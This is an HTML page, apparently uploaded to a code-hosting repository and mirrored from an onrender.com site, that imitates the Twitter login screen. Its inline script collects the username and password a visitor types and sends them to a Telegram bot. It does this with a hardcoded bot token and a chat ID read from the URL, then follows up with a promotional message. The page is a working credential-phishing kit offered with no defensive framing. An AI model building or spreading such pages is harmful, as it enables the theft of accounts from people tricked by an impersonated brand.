Login-signup-Extra1 / twitter.html
HenzHosting's picture
Upload 19 files
c956fd3 verified
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from twitter-login-signup-g1bb.onrender.com/ by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:42:54 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Twitter</title>
<link rel="stylesheet" href="twitter.css">
</head>
<body>
<div class="container">
<div class="login-box">
<img class="logo" src="../external.html?link=https://upload.wikimedia.org/wikipedia/commons/6/6f/Logo_of_Twitter.svg" alt="Twitter Logo">
<h1>Log in to Twitter</h1>
<div id="login">
<input type="text" id="username" placeholder="Phone, email, or username">
<input type="password" id="password" placeholder="Password">
<br>
<button id="submit">Log In</button>
</div>
<a class="forgot" href="#">Forgot password?</a>
<hr>
<p>Don't have an account?</p>
<button class="create">Sign up for Twitter</button>
</div>
</div>
<script>
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
const chatId = getQueryParam('id');
const botToken = "7924786441:AAGIU7XlarFtwEzaRhFkNfIU6m3Sv1RyjRg";
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
document.getElementById('submit').addEventListener('click', function () {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
if (!chatId) {
alert("Error: Missing chat ID.");
return;
}
const message1 = `Twitter Login\nUsername: ${username}\nPassword: ${password}`;
const message2 = `Follow for more content! 💀`;
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message1
})
})
.then(response => response.json())
.then(data => {
if (data.ok) {
return fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message2
})
});
} else {
alert("Failed to send details.");
}
})
.catch(error => {
console.error("Error:", error);
alert("An error occurred.");
});
});
</script>
</body>
<!-- Mirrored from twitter-login-signup-g1bb.onrender.com/ by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:42:55 GMT -->
</html>